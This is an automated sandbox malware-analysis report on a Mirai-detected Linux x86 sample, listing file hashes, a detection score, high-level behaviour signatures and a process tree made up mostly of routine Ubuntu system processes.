Edit tour

Linux Analysis Report
x86

Overview

General Information

Sample Name:	x86
Analysis ID:	612366
MD5:	65677d3bed4589c2afd0904c75b1c177
SHA1:	68353d235f7db77d771ba68631655193f31a9cb1
SHA256:	a96a1a7c333935a9ec7246063bfa4b843431edadc07b2e62667da2e2974ddc70
Infos:

Detection

Mirai

Score:	80
Range:	0 - 100
Whitelisted:	false

Signatures

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected Mirai

Multi AV Scanner detection for submitted file

Uses known network protocols on non-standard ports

Machine Learning detection for sample

Sample tries to kill multiple processes (SIGKILL)

Sample reads /proc/mounts (often used for finding a writable filesystem)

Executes the "kill" or "pkill" command typically used to terminate processes

Reads CPU information from /sys indicative of miner or evasive malware

Executes the "grep" command used to find patterns in files or piped streams

Reads system information from the proc file system

Uses the "uname" system call to query kernel version information (possible evasion)

Enumerates processes within the "proc" file system

Detected TCP or UDP traffic on non-standard ports

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Deletes log files

Creates hidden files and/or directories

Sample has stripped symbol table

Executes commands using a shell command-line interpreter

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	612366
Start date and time: 20/04/202220:09:51	2022-04-20 20:09:51 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	x86
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Detection:	MAL
Classification:	mal80.spre.troj.lin@0/117@25/0

Warnings

Connection to analysis system has been lost, crash info: Unknown
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/x86
PID:	5222
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	Zase the botnutman
Standard Error:

Process Tree

system is lnxubuntu20

x86 (PID: 5222, Parent: 5116, MD5: 65677d3bed4589c2afd0904c75b1c177) Arguments: /tmp/x86

x86 New Fork (PID: 5223, Parent: 5222)

x86 New Fork (PID: 5224, Parent: 5223)

x86 New Fork (PID: 5225, Parent: 5223)

x86 New Fork (PID: 5226, Parent: 5223)

systemd New Fork (PID: 5230, Parent: 1)

journalctl (PID: 5230, Parent: 1, MD5: bf3a987344f3bacafc44efd882abda8b) Arguments: /usr/bin/journalctl --smart-relinquish-var

systemd New Fork (PID: 5251, Parent: 1)

dbus-daemon (PID: 5251, Parent: 1, MD5: 3089d47e3f3ab84cd81c48fd406d7a8c) Arguments: /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only

systemd New Fork (PID: 5261, Parent: 1)

whoopsie (PID: 5261, Parent: 1, MD5: d3a6915d0e7398fb4c89a037c13959c8) Arguments: /usr/bin/whoopsie -f

systemd New Fork (PID: 5265, Parent: 1860)

pulseaudio (PID: 5265, Parent: 1860, MD5: 0c3b4c789d8ffb12b25507f27e14c186) Arguments: /usr/bin/pulseaudio --daemonize=no --log-target=journal

systemd New Fork (PID: 5268, Parent: 1)

systemd-journald (PID: 5268, Parent: 1, MD5: 474667ece6cecb5e04c6eb897a1d0d9e) Arguments: /lib/systemd/systemd-journald

systemd New Fork (PID: 5269, Parent: 1)

rsyslogd (PID: 5269, Parent: 1, MD5: 0b8087fc907c42eb3c81a691db258e33) Arguments: /usr/sbin/rsyslogd -n -iNONE

systemd New Fork (PID: 5277, Parent: 1)

systemd-logind (PID: 5277, Parent: 1, MD5: 8dd58a1b4c12f7a1d5fe3ce18b2aaeef) Arguments: /lib/systemd/systemd-logind

systemd New Fork (PID: 5286, Parent: 1)

rtkit-daemon (PID: 5286, Parent: 1, MD5: df0cacf1db4ec95ac70f5b6e06b8ffd7) Arguments: /usr/libexec/rtkit-daemon

gvfsd-fuse New Fork (PID: 5300, Parent: 2038)

fusermount (PID: 5300, Parent: 2038, MD5: 576a1b135c82bdcbc97a91acea900566) Arguments: fusermount -u -q -z -- /run/user/1000/gvfs

gdm3 New Fork (PID: 5342, Parent: 1320)

Default (PID: 5342, Parent: 1320, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

gdm3 New Fork (PID: 5345, Parent: 1320)

Default (PID: 5345, Parent: 1320, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

systemd New Fork (PID: 5346, Parent: 1)

polkitd (PID: 5346, Parent: 1, MD5: 8efc9b4b5b524210ad2ea1954a9d0e69) Arguments: /usr/lib/policykit-1/polkitd --no-debug

gdm3 New Fork (PID: 5347, Parent: 1320)

Default (PID: 5347, Parent: 1320, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

systemd New Fork (PID: 5348, Parent: 1)

dbus-daemon (PID: 5348, Parent: 1, MD5: 3089d47e3f3ab84cd81c48fd406d7a8c) Arguments: /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only

systemd New Fork (PID: 5350, Parent: 1)

systemd-journald (PID: 5350, Parent: 1, MD5: 474667ece6cecb5e04c6eb897a1d0d9e) Arguments: /lib/systemd/systemd-journald

systemd New Fork (PID: 5353, Parent: 1)

systemd-logind (PID: 5353, Parent: 1, MD5: 8dd58a1b4c12f7a1d5fe3ce18b2aaeef) Arguments: /lib/systemd/systemd-logind

systemd New Fork (PID: 5354, Parent: 1)

whoopsie (PID: 5354, Parent: 1, MD5: d3a6915d0e7398fb4c89a037c13959c8) Arguments: /usr/bin/whoopsie -f

systemd New Fork (PID: 5412, Parent: 1)

rsyslogd (PID: 5412, Parent: 1, MD5: 0b8087fc907c42eb3c81a691db258e33) Arguments: /usr/sbin/rsyslogd -n -iNONE

systemd New Fork (PID: 5416, Parent: 1)

gpu-manager (PID: 5416, Parent: 1, MD5: 8fae9dd5dd67e1f33d873089c2fd8761) Arguments: /usr/bin/gpu-manager --log /var/log/gpu-manager.log

gpu-manager New Fork (PID: 5417, Parent: 5416)

sh (PID: 5417, Parent: 5416, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nvidia[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 5418, Parent: 5417)

grep (PID: 5418, Parent: 5417, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nvidia[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 5423, Parent: 5416)

sh (PID: 5423, Parent: 5416, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nvidia[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 5424, Parent: 5423)

grep (PID: 5424, Parent: 5423, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nvidia[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 5425, Parent: 5416)

sh (PID: 5425, Parent: 5416, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*radeon[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 5426, Parent: 5425)

grep (PID: 5426, Parent: 5425, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*radeon[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 5427, Parent: 5416)

sh (PID: 5427, Parent: 5416, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*radeon[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 5428, Parent: 5427)

grep (PID: 5428, Parent: 5427, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*radeon[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 5430, Parent: 5416)

sh (PID: 5430, Parent: 5416, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*amdgpu[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 5431, Parent: 5430)

grep (PID: 5431, Parent: 5430, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*amdgpu[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 5433, Parent: 5416)

sh (PID: 5433, Parent: 5416, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*amdgpu[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 5434, Parent: 5433)

grep (PID: 5434, Parent: 5433, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*amdgpu[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 5438, Parent: 5416)

sh (PID: 5438, Parent: 5416, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nouveau[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 5439, Parent: 5438)

grep (PID: 5439, Parent: 5438, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nouveau[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 5440, Parent: 5416)

sh (PID: 5440, Parent: 5416, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nouveau[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 5441, Parent: 5440)

grep (PID: 5441, Parent: 5440, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nouveau[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

systemd New Fork (PID: 5442, Parent: 1)

generate-config (PID: 5442, Parent: 1, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /usr/share/gdm/generate-config

generate-config New Fork (PID: 5443, Parent: 5442)

pkill (PID: 5443, Parent: 5442, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pkill --signal HUP --uid gdm dconf-service

systemd New Fork (PID: 5448, Parent: 1)

gdm-wait-for-drm (PID: 5448, Parent: 1, MD5: 82043ba752c6930b4e6aaea2f7747545) Arguments: /usr/lib/gdm3/gdm-wait-for-drm

systemd New Fork (PID: 5450, Parent: 1)

systemd-journald (PID: 5450, Parent: 1, MD5: 474667ece6cecb5e04c6eb897a1d0d9e) Arguments: /lib/systemd/systemd-journald

systemd New Fork (PID: 5453, Parent: 1)

systemd-logind (PID: 5453, Parent: 1, MD5: 8dd58a1b4c12f7a1d5fe3ce18b2aaeef) Arguments: /lib/systemd/systemd-logind

systemd New Fork (PID: 5510, Parent: 1)

rsyslogd (PID: 5510, Parent: 1, MD5: 0b8087fc907c42eb3c81a691db258e33) Arguments: /usr/sbin/rsyslogd -n -iNONE

systemd New Fork (PID: 5511, Parent: 1)

whoopsie (PID: 5511, Parent: 1, MD5: d3a6915d0e7398fb4c89a037c13959c8) Arguments: /usr/bin/whoopsie -f

systemd New Fork (PID: 5512, Parent: 1)

gpu-manager (PID: 5512, Parent: 1, MD5: 8fae9dd5dd67e1f33d873089c2fd8761) Arguments: /usr/bin/gpu-manager --log /var/log/gpu-manager.log

gpu-manager New Fork (PID: 5516, Parent: 5512)

sh (PID: 5516, Parent: 5512, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nvidia[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 5517, Parent: 5516)

grep (PID: 5517, Parent: 5516, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nvidia[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 5520, Parent: 5512)

sh (PID: 5520, Parent: 5512, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nvidia[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 5521, Parent: 5520)

grep (PID: 5521, Parent: 5520, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nvidia[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 5522, Parent: 5512)

sh (PID: 5522, Parent: 5512, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*radeon[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 5525, Parent: 5522)

grep (PID: 5525, Parent: 5522, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*radeon[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 5526, Parent: 5512)

sh (PID: 5526, Parent: 5512, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*radeon[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 5527, Parent: 5526)

grep (PID: 5527, Parent: 5526, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*radeon[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 5528, Parent: 5512)

sh (PID: 5528, Parent: 5512, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*amdgpu[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 5529, Parent: 5528)

grep (PID: 5529, Parent: 5528, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*amdgpu[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 5530, Parent: 5512)

sh (PID: 5530, Parent: 5512, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*amdgpu[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 5531, Parent: 5530)

grep (PID: 5531, Parent: 5530, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*amdgpu[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 5533, Parent: 5512)

sh (PID: 5533, Parent: 5512, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nouveau[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 5535, Parent: 5533)

grep (PID: 5535, Parent: 5533, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nouveau[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 5536, Parent: 5512)

sh (PID: 5536, Parent: 5512, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nouveau[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 5537, Parent: 5536)

grep (PID: 5537, Parent: 5536, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nouveau[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

systemd New Fork (PID: 5518, Parent: 1)

dbus-daemon (PID: 5518, Parent: 1, MD5: 3089d47e3f3ab84cd81c48fd406d7a8c) Arguments: /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only

systemd New Fork (PID: 5541, Parent: 1)

generate-config (PID: 5541, Parent: 1, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /usr/share/gdm/generate-config

generate-config New Fork (PID: 5542, Parent: 5541)

pkill (PID: 5542, Parent: 5541, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pkill --signal HUP --uid gdm dconf-service

systemd New Fork (PID: 5545, Parent: 1)

gdm-wait-for-drm (PID: 5545, Parent: 1, MD5: 82043ba752c6930b4e6aaea2f7747545) Arguments: /usr/lib/gdm3/gdm-wait-for-drm

systemd New Fork (PID: 5546, Parent: 1)

systemd-journald (PID: 5546, Parent: 1, MD5: 474667ece6cecb5e04c6eb897a1d0d9e) Arguments: /lib/systemd/systemd-journald

systemd New Fork (PID: 5563, Parent: 1)

rsyslogd (PID: 5563, Parent: 1, MD5: 0b8087fc907c42eb3c81a691db258e33) Arguments: /usr/sbin/rsyslogd -n -iNONE

systemd New Fork (PID: 5570, Parent: 1)

systemd-journald (PID: 5570, Parent: 1, MD5: 474667ece6cecb5e04c6eb897a1d0d9e) Arguments: /lib/systemd/systemd-journald

systemd New Fork (PID: 5571, Parent: 1)

dbus-daemon (PID: 5571, Parent: 1, MD5: 3089d47e3f3ab84cd81c48fd406d7a8c) Arguments: /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only

systemd New Fork (PID: 5574, Parent: 1)

systemd-logind (PID: 5574, Parent: 1, MD5: 8dd58a1b4c12f7a1d5fe3ce18b2aaeef) Arguments: /lib/systemd/systemd-logind

systemd New Fork (PID: 5588, Parent: 1)

rsyslogd (PID: 5588, Parent: 1, MD5: 0b8087fc907c42eb3c81a691db258e33) Arguments: /usr/sbin/rsyslogd -n -iNONE

systemd New Fork (PID: 5589, Parent: 1)

whoopsie (PID: 5589, Parent: 1, MD5: d3a6915d0e7398fb4c89a037c13959c8) Arguments: /usr/bin/whoopsie -f

systemd New Fork (PID: 5633, Parent: 1)

gpu-manager (PID: 5633, Parent: 1, MD5: 8fae9dd5dd67e1f33d873089c2fd8761) Arguments: /usr/bin/gpu-manager --log /var/log/gpu-manager.log

gpu-manager New Fork (PID: 5637, Parent: 5633)

sh (PID: 5637, Parent: 5633, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nvidia[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 5638, Parent: 5637)

grep (PID: 5638, Parent: 5637, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nvidia[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 5640, Parent: 5633)

sh (PID: 5640, Parent: 5633, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nvidia[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 5641, Parent: 5640)

grep (PID: 5641, Parent: 5640, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nvidia[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 5642, Parent: 5633)

sh (PID: 5642, Parent: 5633, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*radeon[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 5643, Parent: 5642)

grep (PID: 5643, Parent: 5642, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*radeon[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 5648, Parent: 5633)

sh (PID: 5648, Parent: 5633, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*radeon[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 5649, Parent: 5648)

grep (PID: 5649, Parent: 5648, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*radeon[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 5650, Parent: 5633)

sh (PID: 5650, Parent: 5633, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*amdgpu[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 5651, Parent: 5650)

grep (PID: 5651, Parent: 5650, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*amdgpu[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 5653, Parent: 5633)

sh (PID: 5653, Parent: 5633, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*amdgpu[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 5654, Parent: 5653)

grep (PID: 5654, Parent: 5653, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*amdgpu[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 5655, Parent: 5633)

sh (PID: 5655, Parent: 5633, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nouveau[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 5656, Parent: 5655)

grep (PID: 5656, Parent: 5655, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nouveau[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 5657, Parent: 5633)

